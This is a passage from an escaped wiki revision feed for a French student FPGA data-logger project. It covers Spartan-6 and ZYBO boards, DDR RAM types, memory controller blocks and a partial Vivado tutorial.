*45nm low power process technology with 6-input LUTs&lt;br /&gt;
*1080MHz clock management tiles (2 DCM + 1 PLL) &lt;br /&gt;
*320MHz Block RAM from 216 - 4824 Kbits&lt;br /&gt;
*Memory interface controllers blocks from 0 - 4&lt;br /&gt;
*1.08Gbps SelectIO™ technology &lt;br /&gt;
*390MHz DSP48A1 slices from 8 - 180 &lt;br /&gt;
*Embedded processing &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Pour plus de détails:&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Caracteristiques_SPARTAN_6_XILINX_LX45.pdf]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/data_sheets/ds160.pdf General Description]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/publications/prod_mktg/Spartan6_Product_Brief.pdf Commerciale presentation]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/data_sheets/ds162.pdf Spartan-6 FPGA Electrical Characteristics]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Caractéristiques de TE0600 =====&lt;br /&gt;
[[Fichier:TE0600_photo.jpg|300px|thumb|right|TE0600]]&lt;br /&gt;
[[Fichier:TE0603_photo.jpg|300px|thumb|right|TE0603]]&lt;br /&gt;
[[Fichier:TE0603_Gerber.jpg|300px|thumb|right|Gerber TE0603]]&lt;br /&gt;
Industrial-grade Xilinx Spartan-6 LX FPGA micromodule (LX45 / LX100 / LX150)&lt;br /&gt;
* 10/100/1000 tri-speed Gigabit Ethernet transceiver (PHY)&lt;br /&gt;
* 2 x 16-bit-wide 1 Gb (128 MB) or 4Gb (512 MB) DDR3 SDRAM&lt;br /&gt;
* 128Mb (16 MB) SPI Flash memory (for configuration and operation) accessible through:&lt;br /&gt;
* 1Kb Protected 1-Wire EEPROM with SHA-1 Engine&lt;br /&gt;
* JTAG port (SPI indirect)&lt;br /&gt;
* FPGA configuration through:&lt;br /&gt;
* B2B connector&lt;br /&gt;
* JTAG port&lt;br /&gt;
* SPI Flash memory&lt;br /&gt;
* Plug-on module with 2 × 100-pin high-speed hermaphroditic strips&lt;br /&gt;
* Up to 52 differential, up to 109 single-ended (+ 1 dual-purpose) FPGA I/O pins available on B2B strips&lt;br /&gt;
* 4.0 A x 1.2 V power rail&lt;br /&gt;
* 1.5 A x 1.5 V power rail&lt;br /&gt;
* 125 MHz reference clock signal&lt;br /&gt;
* Single-ended custom oscillator (option)&lt;br /&gt;
* eFUSE bit-stream encryption (LX100 or larger)&lt;br /&gt;
* 1 user LED&lt;br /&gt;
* Evenly-spread supply pins for good signal integrity&lt;br /&gt;
* Other assembly options for cost or performance optimization available upon request.&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.trenz-electronic.de/fileadmin/docs/Trenz_Electronic/TE0600-GigaBee_series/TE0600/documents/UM-TE0600-02.pdf Datasheet TE0600]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Caractéristiques du TE0603=====&lt;br /&gt;
*Board power supply via screw terminals, DC jack&lt;br /&gt;
*JTAG header compatible with Xilinx parallel cable III, IV and USB cable HW-USB&lt;br /&gt;
*Small form factor: 115x70 mm&lt;br /&gt;
*Micro SD connector&lt;br /&gt;
*5 Header connectors with up to 114 user IOs&lt;br /&gt;
*2 Push-buttons for reset and user function&lt;br /&gt;
[http://www.trenz-electronic.de/fileadmin/docs/Trenz_Electronic/TE0600-GigaBee_series/TE0603/documents/UM-TE0603.pdf Datasheet TE0603] &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Étude de la carte TE0603=====&lt;br /&gt;
[[Fichier:Zybo.jpg|300px|thumb|right|ZYBO]]&lt;br /&gt;
Je vais travailler avec la carte TE0603 en lui ajoutant une socket support pour ajouter une barrette de RAM. En effet, on peut configurer le FPGA pour que ces LUT se transforment en mémoire volatile. Cependant, la taille de ces mémoire reste limité au maximum à 512Mb configurable en 16 ou 32 bits. Mais le CAN branché en amont du FPGA fonctionne à une fréquence de 50MHz, on se rend vite compte que la mémoire RAM va se saturer même si la vitesse de la transmission en aval par le port Ethernet est élevé. &amp;lt;br&amp;gt;&lt;br /&gt;
On trouve sur le site [http://www.trenz-electronic.de trenz-electronic.de] des fichiers schematic et typon lisible sous Altium de la carte de TE0603. C'est de ce [http://www.trenz-electronic.de/download/d0/Trenz_Electronic/d1/TE0600-GigaBee_series/d2/TE0603/d3/HW_design.html schéma] que je vais démarrer pour réaliser la carte fille RAM. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
En étudiant de plus près le protocole de lecture et d'écriture, il semble possible de créer une carte fille avec juste le support de la barrette physique de RAM. C'est le FPGA qui va se charger de réaliser le &amp;quot;driver&amp;quot; pour accéder en écriture et en lecture les espaces mémoires.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====ZYBO====&lt;br /&gt;
C'est une plate-forme de développement d'usage général. Celle-ci intègre un port HDMI, plusieurs ports USB dont un pour la programmation, plusieurs switch, plusieurs boutons poussoirs, un slot pour carte SD et surtout 512Mb de DDR3. Cette carte possède comme autre avantage qu'elle peut booter sur un linux via la carte SD. Ainsi, on peut se connecter en SSH/SCP sur la machine et interagir, émettre et recevoir des données en grande quantité. Je pense que le ZYNQ 7000 est un FPGA très avantageux pour faire du système embarqué.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
*[http://digilentinc.com/Products/Detail.cfm?NavPath=2,400,1198&amp;amp;Prod=ZYBO Diligent ZYBO Zynq-7000] (fourni le 26 novembre 2015)&lt;br /&gt;
&lt;br /&gt;
====LX9 MicroBoard====&lt;br /&gt;
[[Fichier:LX9.jpg|300px|thumb|right|AVNET LX9 MicroBoard]]&lt;br /&gt;
*Plateforme Xilinx Spartan-6 FPGA LX9 MicroBoard (ressource personnel)&lt;br /&gt;
C'est une plate-forme de développement à faible coût qui permet de travailler avec un SPARTAN 6  et MicroBlaze. Elle possède plusieurs entrées sorties (moins que la TE0600), des leds, un interrupteur et 4 switch très fragiles et un port Ethernet. Cette board vient de mes ressources personnelles mais le modèle étant simple et assez répandu, on trouve beaucoup de tutoriel explicatif sur internet.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Etude de la problématique===&lt;br /&gt;
====Étude pour l'ajout de RAM====&lt;br /&gt;
Je m'interroge sur les différentes technologies de RAM, en cherchant sur le net, on trouve des comparatifs et de brefs historiques. En voici des extraits:&amp;lt;br&amp;gt;&lt;br /&gt;
'''Historique:''' &amp;lt;br&amp;gt; &lt;br /&gt;
 [[Fichier:DDR.jpg|200px|thumb|right|Différents types de barrette de RAM]]&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: grey;&amp;quot;&amp;gt;Double Data Rate (DDR) SDRAM starts making name in computer market around 2002 and is evolved from SDR (Single Data Rate) SDRAM. The slight difference between DDR and SDR is that DDR reads data on both the rising and falling edges of the clock signal, enabling a DDR memory module to transfer data twice faster as an SDR memory module.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: grey;&amp;quot;&amp;gt;After 2 years DDR made name in the market, DDR2 appears in mid-2004. DDR2 achieves a better speed than  DDR in providing bandwidth up to 8.5 GB per second. The best thing about DDR2 is that theDDR2 based systems can use memory installed in pairs to run in &amp;quot;dual channel mode&amp;quot; to increase memory throughput even further.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: grey;&amp;quot;&amp;gt;Nowadays, DDR3 takes place of DDR2 in the computer market. DDR3 is believed to consume less power because it operates at lower voltages and can transfer data at rates up to 12.8 GB per second which is 4.3 GB per second faster than DDR2. DDR3 based systems can address memory modules in banks of 1, 2 or 3. &lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |+ Comparatif des performances de DDR* RAM&lt;br /&gt;
 |-&lt;br /&gt;
 |&lt;br /&gt;
 ! scope=&amp;quot;col&amp;quot; | DDR1 RAM&lt;br /&gt;
 ! scope=&amp;quot;col&amp;quot; | DDR2 RAM&lt;br /&gt;
 ! scope=&amp;quot;col&amp;quot; | DDR3 RAM&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Nombre de pins&lt;br /&gt;
 | 184&lt;br /&gt;
 | 240&lt;br /&gt;
 | 240&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Vitesse d'horloge&lt;br /&gt;
 | 100 MHz à 200 MHz&lt;br /&gt;
 | 100 MHz à 266 MHz&lt;br /&gt;
 | 100 MHz à 300 MHz&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Taux maximum de tranfers&lt;br /&gt;
 | 200 MT/s à 400 MT/s&lt;br /&gt;
 | 400 MT/s à 1066 MT/s&lt;br /&gt;
 | 800 MT/s à 2400 MT/s&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Tension d'alimentation&lt;br /&gt;
 | 2.5 V&lt;br /&gt;
 | 1.8 V&lt;br /&gt;
 | 1.5 V&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
====IP pour SDRRAM====&lt;br /&gt;
 [[Fichier:Sram.jpg|200px|thumb|right|Schéma fonctionnel du driver pour DDR RAM]]&lt;br /&gt;
*Étude de l'IP pour l'adressage RAM&lt;br /&gt;
On trouve plusieurs Ip pour adresser des mots mémoires à la carte RAM:&lt;br /&gt;
**[http://opencores.org/project,sdr_ctrl opencore]&lt;br /&gt;
**Schéma fonctionnel: &lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il semble que le Spartan 6 possède des Memory Controller Blocks (MCBs) qui sont spécialement conçu pour adresser des DRAM (DDR, DDR2 et DDR3). Les MCBs ont une vitesse d'accès supérieur à 800 Mbit/s selon la datasheet du Spartan 6. On peut utiliser l'outil Memory Interface Generator (MIG) qui est disponible dans l'outil CORE Generator de ISE.&lt;br /&gt;
&lt;br /&gt;
====Etude  des Memory Controller Blocks==== &lt;br /&gt;
[[Fichier:MCB.png|400px|thumb|right|Représentation du fonctionnement d'un Memory Controller Block (MCB)]] &lt;br /&gt;
Il y a trois fonctions principales du point de vue de l'utilisateur:&lt;br /&gt;
*Lire le port (unidirectionnel)&lt;br /&gt;
*Écrire sur le port (unidirectionnel) &lt;br /&gt;
*Lire et écrire sur le port (bi directionnel)&lt;br /&gt;
On peut voir la représentation du fonctionnement d'un Memory Controller Block (MCB)plusieurs blocks que l'on définit ainsi:&lt;br /&gt;
*Arbiter ou arbitre:&lt;br /&gt;
Il détermine quel port à la priorité pour accéder à la mémoire physique.&lt;br /&gt;
*Controller ou contrôleur:&lt;br /&gt;
Block de contrôle primaire qui convertit de simples requêtes utilisateur en de plus complexes instructions et séquences pour commmuniquer avec la mémoire.&lt;br /&gt;
*Datapath&lt;br /&gt;
Ce block porte le flux de données écrite et lue entre la mémoire physique et l'utilisateur.&lt;br /&gt;
*Physical Interface (PHY) ou  interface physique:&lt;br /&gt;
Convertit les instructions du contrôleur en des relations temporelles et signaux adapté à la mémoire DDR pour communiquer avec elle.&lt;br /&gt;
*Calibration Logic:&lt;br /&gt;
Clalibre l'interface physique (PHY) pour avoir le meilleur rendement.&lt;br /&gt;
&lt;br /&gt;
===Proposition de solutions et argumentaire===&lt;br /&gt;
====Récuperation et affichage des données avec la pateforme ZYBO====&lt;br /&gt;
Voici une liste de matériel pour réaliser cette solution:&lt;br /&gt;
*Plateforme ZYBO&lt;br /&gt;
*Alimentation 5V 3A&lt;br /&gt;
*Carte microSD 4Gb (2Gb minimum)&lt;br /&gt;
*Cable RJ45 &lt;br /&gt;
*Linux type Debian &amp;lt;br&amp;gt;&lt;br /&gt;
Voici les différentes étapes à réaliser pour récupérer et afficher les données venant des GPIOs:&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Téléchargement et installation=====&lt;br /&gt;
a°)Telecharger et installer Vivado WebPack de la version la plus récente. [http://www.xilinx.com/support/download.html (Xilinx)] &amp;lt;br&amp;gt;&lt;br /&gt;
b°)Télecharger depuis [https://reference.digilentinc.com/zybo:zybo Zybo Resource Center] le fichier zybo_base_system.zip. &amp;lt;br&amp;gt;&lt;br /&gt;
c°)Télecharger depuis ce [https://github.com/Digilent/vivado-boards/archive/master.zip lien] les ZYBO board files et placer le dossier source /new/zybo/ dans C:\Xilinx\Vivado\2015.4\data\boards\board_files &amp;lt;br&amp;gt;&lt;br /&gt;
d°)Télecharger les fichiers [http://xillybus.com/downloads/xillinux-eval-zybo-1.3c.zip xillinux-eval-zybo-1.3c.zip] et n'en extraire que le dossier bootfiles dans le dossier de travail&amp;lt;br&amp;gt;&lt;br /&gt;
e°)Télecharger le fichier [http://xillybus.com/downloads/xillinux-1.3.img.gz xillinux-1.3.img.gz] et extraire son contenu dans le dossier de travail&amp;lt;br&amp;gt;&lt;br /&gt;
=====Création d'une carte bootable sur ZYBO=====&lt;br /&gt;
[[Fichier:Tuto1.PNG|100px|thumb|right|g°)]]&lt;br /&gt;
[[Fichier:Tuto2.PNG|100px|thumb|right|h°)]]&lt;br /&gt;
[[Fichier:Tuto3.PNG|100px|thumb|right|j°)]]&lt;br /&gt;
[[Fichier:Tuto4.PNG|100px|thumb|right|l°)]]&lt;br /&gt;
[[Fichier:Tuto5.PNG|100px|thumb|right|l°)]]&lt;br /&gt;
[[Fichier:Tuto6.PNG|100px|thumb|right|l°)]]&lt;br /&gt;
Dans la suite du tutoriel, je vais présenter comment obtenir le fichier .bit qui permet d'obtenir un accès aux différents ports du FPGA comme les switches, les leds, le HDMI etc. Si vous voulez prendre un fichier tout fait, je vous propose le mien qui est déjà compilé et fonctionnel. On le trouvera dans ce [[fichier: Pack_bit.zip | fichier .zip]] avec un imprim'écran qui montre les registres lié aux différentes interfaces. Ce fichier image est très important pour la partie &amp;quot;récupération&amp;quot; des données. Si vous utilisez ce fichier .zip, sautez directement au point .&amp;lt;br&amp;gt;&lt;br /&gt;
f°)Ouvrir avec le logiciel Vivado zybo_base_system\source\vivado\hw\zybo_bsd\zybo_bsd.xpr &amp;lt;br&amp;gt;&lt;br /&gt;
g°)Sur la gauche de l'écran, sous IP integrator, choisir Open Block Design &amp;lt;br&amp;gt;&lt;br /&gt;
h°)Supprimer l'IP pour adresser les LEDS &amp;lt;br&amp;gt;&lt;br /&gt;
i°)On va créer un nouvel IP, tool-&amp;gt;Create and Package IP...; next; name-&amp;gt; myLed; next &amp;lt;br&amp;gt;&lt;br /&gt;
j°)La fenêtre suivante permet d'ajouter des interfaces. On va créer une interface AX14 pour le peripherique myLed. &lt;br /&gt;
*Interface type -&amp;gt;Lite &lt;br /&gt;
*Mode -&amp;gt;Slave &lt;br /&gt;
*data width -&amp;gt;32 bits &lt;br /&gt;
*number of registers -&amp;gt;4&lt;br /&gt;
*Name-&amp;gt;S00_AXI &amp;lt;br&amp;gt;&lt;br /&gt;
k°)La fenêtre suivante permet de choisir l'option &amp;quot;edit IP&amp;quot;&amp;lt;br&amp;gt;&lt;br /&gt;
l°)Dans le projetct manager, ouvrir &amp;quot;myLed_V1...&amp;quot; et ajouter à la ligne 18 :&lt;br /&gt;
{| width=10% &lt;br /&gt;
|&amp;lt;pre&amp;gt;output wire [3:0] led, &amp;lt;/pre&amp;gt;&lt;br /&gt;
|} &lt;br /&gt;
et à la ligne 400 : &lt;br /&gt;
{| width=10% &lt;br /&gt;
|&amp;lt;pre&amp;gt; assign led=slv_reg0[3:0];&amp;lt;/pre&amp;gt;&lt;br /&gt;
|} &lt;br /&gt;
m°)&amp;lt;br&amp;gt;&lt;br /&gt;
n°)&amp;lt;br&amp;gt;&lt;br /&gt;
o°)&amp;lt;br&amp;gt;&lt;br /&gt;
p°)&amp;lt;br&amp;gt;&lt;br /&gt;
q°)&amp;lt;br&amp;gt;&lt;br /&gt;
r°)&amp;lt;br&amp;gt;&lt;br /&gt;
s°)&amp;lt;br&amp;gt;&lt;br /&gt;
t°)&amp;lt;br&amp;gt;&lt;br /&gt;
u°)&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Fichiers supplémentaires==&lt;br /&gt;
[[Fichier:DDR connecteur datasheet.png|300px|thumb|right|]]&lt;br /&gt;
*Empreinte sous Altium Designer pour le connecteur DDR1&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Shopping==&lt;br /&gt;
*[http://www.mouser.fr/ProductDetail/FCI/10081530-12207LF/?qs=sGAEpiMZZMu51HMau1GEUGmiHfa8/gTAo1M2%252bNESSU0%3d Connecteur DDR3] 1.5€ ([http://portal.fciconnect.com/Comergent/en/US/adirect/fci;jsessionid=FEFFAFAD5839598353F129F4194CC82E?cmd=catProductDetail&amp;amp;entryPoint=adirect&amp;amp;messageType=catProductDetail&amp;amp;showAddButton=true&amp;amp;productID=1008153012207LF datasheet])&lt;br /&gt;
*[http://www.mouser.fr/ProductDetail/FCI/10005639-11109LF/?qs=sGAEpiMZZMu51HMau1GEUBTEbqSTMcBDcRDLdGvDZHE%3d Connecteur DDR2] 2€ ([http://www.mouser.com/ds/2/154/gs-12-251-532922.pdf datasheet])&lt;br /&gt;
*[http://www.mouser.fr/ProductDetail/TE-Connectivity-AMP/5390241-4/?qs=sGAEpiMZZMu51HMau1GEUC3LrSDvJPJ82YYPKc6FyEY%3d Connecteur DDR1] 4.5€ ([http://www.mouser.com/ds/2/418/NG_CD_5390241_E-668131.pdf datasheet])&lt;br /&gt;
*Recuperation de DDR1 au service informatique de Polytech&lt;br /&gt;
&lt;br /&gt;
==Sources==&lt;br /&gt;
[http://www.trenz-electronic.de/download/d0/Trenz_Electronic/d1/TE0600-GigaBee_series/d2/TE0603.html Fiche commerciale TE0600] &amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.fpga4fun.com/FPGAinfo1.html FPGA généralité]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/user_guides/ug388.pdf Guide Xilinx pour le design avec les MCB (Chapitre 3) ] &amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/ip_documentation/mig/v3_92/ug416.pdf Guide Xilinx pour le design avec l'outil MIG (page 9)]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://claude.lahache.free.fr/mapage2/lignes.pdf Cours sur les lignes de propagations]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://hallofitmage.blogspot.fr/2012/03/difference-between-ddr-ddr2-and-ddr3.html Frautte Nihilus] &amp;lt;br&amp;gt;[https://en.wikipedia.org/wiki/DIMM Wikipédia DIMM]&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Avinot</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P2_Data_Logger&amp;diff=27519</id>
		<title>P2 Data Logger</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P2_Data_Logger&amp;diff=27519"/>
				<updated>2016-02-22T09:18:57Z</updated>
		
		<summary type="html">&lt;p&gt;Avinot : /* LX9 MicroBoard */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Cahier des charges==&lt;br /&gt;
===Présentation générale du projet=== &lt;br /&gt;
====Dénomination du sujet par les enseignants====&lt;br /&gt;
{|class=&amp;quot;wikitable centre&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;col&amp;quot; |Objectif&lt;br /&gt;
| Réaliser une plate-forme de mesure de la consommation d'équipement électroniques &lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;col&amp;quot;|Description&lt;br /&gt;
|La consommation des équipements électroniques est devenue un enjeu majeur puisque les équipements sont très souvent utilisés en situation de mobilité. La réduction de la consommation passe par la compréhension des sources de consommation que ce soit par le logiciel ou par le matériel.&lt;br /&gt;
&lt;br /&gt;
Afin de comprendre les mécanismes de consommation, il est nécessaire de pouvoir mesurer le courant des différents composants d'un système. Dans ce projet, nous proposons la réalisation d'une plate-forme permettant la mesure de courant.&lt;br /&gt;
&lt;br /&gt;
Cette plate-forme devra être ouverte et facilement reconfigurable (ajout / retrait de voies de mesures, filtrage des mesures, ...)&lt;br /&gt;
&lt;br /&gt;
La plate-forme sera constituée de :&lt;br /&gt;
*Un FPGA permettant de contrôler le système,&lt;br /&gt;
*Des voies de mesures de courant embarquant un capteur et un convertisseur analogique / numérique,&lt;br /&gt;
*Une mémoire RAM de stockage des données,&lt;br /&gt;
*Une interface permettant de gérer la plate-forme et de récupérer les données.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Contexte====&lt;br /&gt;
Dans le cadre d'une réalisation de projet de fin d'étude, on se propose de réaliser un &amp;quot;data logger&amp;quot;. Durant les semaines à venir, je vais travailler sur un dispositif qui stockera des données numériques envoyé depuis un convertisseur analogique numérique dans une barrette de RAM avant de les rendre accessible par une liaison RS232. Le but de se projet est de compléter le panel de technologie disponible pour un laboratoire qui possède une...&lt;br /&gt;
&lt;br /&gt;
====Objectif du projet====&lt;br /&gt;
*stocker en RAM une série de donnée le plus rapidement possible&lt;br /&gt;
*construire interface permettant de recuperer les infomations via un RJ45 protocole Ethernet&lt;br /&gt;
*rendre modulaire le code en permettant de modifier facilement de la taille des mots d'entrée (passer de 8 bits à 10 puis 16 ...)&lt;br /&gt;
*rendre modulaire le code en permettant d'ajouter un fréquencemètre &lt;br /&gt;
*développer une carte support pour le LX45 maitriser les temps de propagations des signaux sur le typon, en direction de la barrette de RAM&lt;br /&gt;
&lt;br /&gt;
===Étapes du projet===&lt;br /&gt;
Le projet va se dérouler en plusieurs étapes.&amp;lt;br&amp;gt;&lt;br /&gt;
1)Etude des plates-formes de programmation&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
2)Etude de la problématique&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
3)Proposition de solutions et argumentaire&lt;br /&gt;
&lt;br /&gt;
===Choix techniques : matériel, logiciels, sources===&lt;br /&gt;
*[http://www.opencores.org OPENCORES.ORG]&lt;br /&gt;
*[http://www.ztex.de/usb-fpga-1/usb-fpga-1.15.e.html Caracteristiques du LX45]&lt;br /&gt;
*[http://www.xilinx.com/itp/xilinx10/isehelp/ise_c_overview.htm Logiciel XILINX ISE ] (overview)&lt;br /&gt;
&lt;br /&gt;
==Suivi des étapes du Projet==&lt;br /&gt;
===Etude des plates-formes de programmation===&lt;br /&gt;
====TE0600 &amp;amp; TE0603====&lt;br /&gt;
La board que m'ont fournie les encadrants se compose se compose d'une carte mère et d'une carte support. La carte mère, nommé TE0600 est composé d'un FPGA Xilinx SPARTAN 6 LX45. C'est le &amp;quot;cerveau&amp;quot; du projet qui vient se brancher sur une carte support qui me servira au développement (programmation, IOs, carte mémoire, alimentation, Ethernet...). Celle ci se nomme TE0603. Elles seront indissociable pendant toute la période de développement. &lt;br /&gt;
*[http://www.trenz-electronic.de/de/produkte/fpga-boards/trenz-electronic/te0600.html SPARTAN 6 lx45 chez TRENZ Electronic TE0603 et TE0600 (fourni le 10 octobre 2015)]&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.trenz-electronic.de/fileadmin/docs/Trenz_Electronic/TE0600-GigaBee_series/TE0600/documents/UM-TE0600-02.pdf Datasheet]&amp;lt;br&amp;gt;&lt;br /&gt;
=====Caracteristiques SPARTAN 6 XILINX LX45=====&lt;br /&gt;
[[Fichier:Spartan6_logo.jpg|200px|thumb|right|SPARTAN 6 LX45]]&lt;br /&gt;
'''General'''&lt;br /&gt;
*consommation: 0.6A&lt;br /&gt;
*45nm low power process technology with 6-input LUTs&lt;br /&gt;
*1080MHz clock management tiles (2 DCM + 1 PLL) &lt;br /&gt;
*320MHz Block RAM from 216 - 4824 Kbits&lt;br /&gt;
*Memory interface controllers blocks from 0 - 4&lt;br /&gt;
*1.08Gbps SelectIO™ technology &lt;br /&gt;
*390MHz DSP48A1 slices from 8 - 180 &lt;br /&gt;
*Embedded processing &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Pour plus de détails:&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Caracteristiques_SPARTAN_6_XILINX_LX45.pdf]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/data_sheets/ds160.pdf General Description]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/publications/prod_mktg/Spartan6_Product_Brief.pdf Commerciale presentation]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/data_sheets/ds162.pdf Spartan-6 FPGA Electrical Characteristics]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Caractéristiques de TE0600 =====&lt;br /&gt;
[[Fichier:TE0600_photo.jpg|300px|thumb|right|TE0600]]&lt;br /&gt;
[[Fichier:TE0603_photo.jpg|300px|thumb|right|TE0603]]&lt;br /&gt;
[[Fichier:TE0603_Gerber.jpg|300px|thumb|right|Gerber TE0603]]&lt;br /&gt;
Industrial-grade Xilinx Spartan-6 LX FPGA micromodule (LX45 / LX100 / LX150)&lt;br /&gt;
* 10/100/1000 tri-speed Gigabit Ethernet transceiver (PHY)&lt;br /&gt;
* 2 x 16-bit-wide 1 Gb (128 MB) or 4Gb (512 MB) DDR3 SDRAM&lt;br /&gt;
* 128Mb (16 MB) SPI Flash memory (for configuration and operation) accessible through:&lt;br /&gt;
* 1Kb Protected 1-Wire EEPROM with SHA-1 Engine&lt;br /&gt;
* JTAG port (SPI indirect)&lt;br /&gt;
* FPGA configuration through:&lt;br /&gt;
* B2B connector&lt;br /&gt;
* JTAG port&lt;br /&gt;
* SPI Flash memory&lt;br /&gt;
* Plug-on module with 2 × 100-pin high-speed hermaphroditic strips&lt;br /&gt;
* Up to 52 differential, up to 109 single-ended (+ 1 dual-purpose) FPGA I/O pins available on B2B strips&lt;br /&gt;
* 4.0 A x 1.2 V power rail&lt;br /&gt;
* 1.5 A x 1.5 V power rail&lt;br /&gt;
* 125 MHz reference clock signal&lt;br /&gt;
* Single-ended custom oscillator (option)&lt;br /&gt;
* eFUSE bit-stream encryption (LX100 or larger)&lt;br /&gt;
* 1 user LED&lt;br /&gt;
* Evenly-spread supply pins for good signal integrity&lt;br /&gt;
* Other assembly options for cost or performance optimization available upon request.&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.trenz-electronic.de/fileadmin/docs/Trenz_Electronic/TE0600-GigaBee_series/TE0600/documents/UM-TE0600-02.pdf Datasheet TE0600]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Caractéristiques du TE0603=====&lt;br /&gt;
*Board power supply via screw terminals, DC jack&lt;br /&gt;
*JTAG header compatible with Xilinx parallel cable III, IV and USB cable HW-USB&lt;br /&gt;
*Small form factor: 115x70 mm&lt;br /&gt;
*Micro SD connector&lt;br /&gt;
*5 Header connectors with up to 114 user IOs&lt;br /&gt;
*2 Push-buttons for reset and user function&lt;br /&gt;
[http://www.trenz-electronic.de/fileadmin/docs/Trenz_Electronic/TE0600-GigaBee_series/TE0603/documents/UM-TE0603.pdf Datasheet TE0603] &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Étude de la carte TE0603=====&lt;br /&gt;
Je vais travailler avec la carte TE0603 en lui ajoutant une socket support pour ajouter une barrette de RAM. En effet, on peut configurer le FPGA pour que ces LUT se transforment en mémoire volatile. Cependant, la taille de ces mémoire reste limité au maximum à 512Mb configurable en 16 ou 32 bits. Mais le CAN branché en amont du FPGA fonctionne à une fréquence de 50MHz, on se rend vite compte que la mémoire RAM va se saturer même si la vitesse de la transmission en aval par le port Ethernet est élevé. &amp;lt;br&amp;gt;&lt;br /&gt;
On trouve sur le site [http://www.trenz-electronic.de trenz-electronic.de] des fichiers schematic et typon lisible sous Altium de la carte de TE0603. C'est de ce [http://www.trenz-electronic.de/download/d0/Trenz_Electronic/d1/TE0600-GigaBee_series/d2/TE0603/d3/HW_design.html schéma] que je vais démarrer pour réaliser la carte fille RAM. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
En étudiant de plus près le protocole de lecture et d'écriture, il semble possible de créer une carte fille avec juste le support de la barrette physique de RAM. C'est le FPGA qui va se charger de réaliser le &amp;quot;driver&amp;quot; pour accéder en écriture et en lecture les espaces mémoires.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Zybo.jpg|300px|thumb|right|ZYBO]]&lt;br /&gt;
====ZYBO====&lt;br /&gt;
